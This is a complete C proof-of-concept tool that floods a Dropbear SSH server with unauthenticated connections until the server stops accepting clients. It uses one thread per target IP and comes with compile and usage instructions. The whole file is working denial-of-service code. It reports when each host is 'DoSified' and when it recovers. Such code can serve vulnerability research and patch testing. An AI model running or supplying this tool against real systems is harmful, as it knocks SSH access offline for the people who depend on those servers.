/**
 * dropbear-PoC.c -- Probe of Concept, DoS Dropbear SSH server
 *
 * Author: Pablo Fernandez <pablo at littleQ.net>
 *
 * gcc dropbear-PoC.c -o dropbear-PoC -lpthread
 * ./dropbear-PoC -v 192.168.0.1
 *
 **/
/***************************************************************************
 *                                                                         *
 *   This program is free software; you can redistribute it and/or modify  *
 *   it under the terms of the GNU General Public License as published by  *
 *   the Free Software Foundation; either version 2 of the License, or     *
 *   (at your option) any later version.                                   *
 *                                                                         *
 *   This program is distributed in the hope that it will be useful,       *
 *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *
 *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *
 *   GNU General Public License for more details.                          *
 *                                                                         *
 ***************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <sys/poll.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>

#define MAX_SOCKS 0xfff
#define PORT 22
#define TIMEOUT_IN_MSECS 5000 /* 5 seconds... */

struct data {
	int max_unauth_clients;
	int port;
	int verbose;
	char *host;
};

void show_help (const char *name)
{
	fprintf(stderr, "Usage %s [OPTIONS] host1 [hostN...]\n"
			"\n"
			"Options:\n"
			"\t--help, -h                      - This help\n"
			"\t--port, -p [PORT]               - Port to connect to (defaults to %d)\n"
			"\t--verbose, -v                   - Verbose level (can be used multiple times)\n"
			"\n"
			"Note that hosts should be specified using IP addresses, not hostnames\n",
			name, PORT);

	exit(1);
}

void *DoS (void *data)
{
	struct data *d;
	struct sockaddr_in sa;
	int sock;
	int killed = 0;
	struct pollfd fd;
	struct timeval tv = { .tv_sec = 5, .tv_usec = 0 };
	int retval;
	int i = 0;

	d = (struct data*) data;

	if (d->verbose > 1)
		printf("[*] Target: %s\n", d->host);

	sa.sin_family      = AF_INET;
	sa.sin_addr.s_addr = inet_addr(d->host);
	sa.sin_port        = htons(d->port);

	while (1) {
		if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
			fprintf(stderr, "[!] Unable to create socket\n");
			break;
		}

		if (connect(sock, (struct sockaddr*) &sa, sizeof(sa)) < 0) {
			fprintf(stderr, "[!] %s: Unable to connect\n", d->host);
			break;
		}

		memset(&fd, 0, sizeof(struct pollfd));
		
		fd.fd      = sock;
		fd.events  = POLLIN;

		if ((retval = poll(&fd, 2, TIMEOUT_IN_MSECS)) < 0) {
			perror("poll");
			return NULL;
		}

		if (fd.revents & POLLIN) {
			char buf[512];

			memset(buf, 0, sizeof(buf));
			read(sock, &buf, sizeof(buf));

			if (buf[0] != 0) {
				if (killed) {
					if (d->verbose > 0)
						printf("[!] %s is back up\n", d->host);
				} else if (d->verbose > 1)
					printf("[+] %s: connected %2d, %d\n", d->host, i++, fd.revents);
				
				killed = 0;
			} else
				goto err;
		} else if (fd.revents & (POLLERR | POLLHUP)) {
err:
			if (!killed && d->verbose > 0)
				printf("[+] %s has been DoSified\n", d->host);

			killed = 1;
		}

		if (killed)
			sleep(5);
	}
	
	return NULL;
}

int main (int argc, char **argv)
{
	int port = PORT;
	int verbose = 0;
	int opt;
	char *host;
	pthread_t *threads = NULL;
	int targets = 0;
	int i;
	struct data *d;
	
	printf("\n");
	printf("DropBear SSH Server DoS PoC\n");
	printf("  -- by Pablo Fernandez <pablo at littleQ.net>\n\n");

	while (1) {
		static struct option options[] = {
			{ "help", 0, 0, 'h' },
			{ "port", 1, 0, 'p' },
			{ "verbose", 0, 0, 'v' },
			{ 0, 0, 0, 0 }
		};
		int a;

		if ((opt = getopt_long(argc, argv, "hp:v", options, &a)) < 0)
			break;

		switch (opt) {
			default:
			case 'h':
				show_help(argv[0]);
				break;
			case 'p':
				port = atoi(optarg);
				break;
			case 'v':
				verbose++;
				break;
		}
	}

	if (optind >= argc) {
		fprintf(stderr, "\nError: Host not specified\n\n");
		show_help(argv[0]);
		return 0;
	}

	targets = argc - optind;

	if ((threads = (pthread_t*) malloc(targets * sizeof(pthread_t))) < 0) {
		perror("malloc");
		return 1;
	}

	if (verbose > 2)
		printf("[*] %d targets\n", targets);

	for (i = 0; optind < argc; i++) {
		host = argv[optind++];

		d = (struct data*) malloc(sizeof(struct data));
		d->port               = port;
		d->verbose            = verbose;
		d->host               = strdup(host);

		pthread_create(&(threads[i]), NULL, DoS, d);
	}

	for (i = 0; i < targets; i++) {
		pthread_join(threads[i], NULL);
	}

	return 0;
}
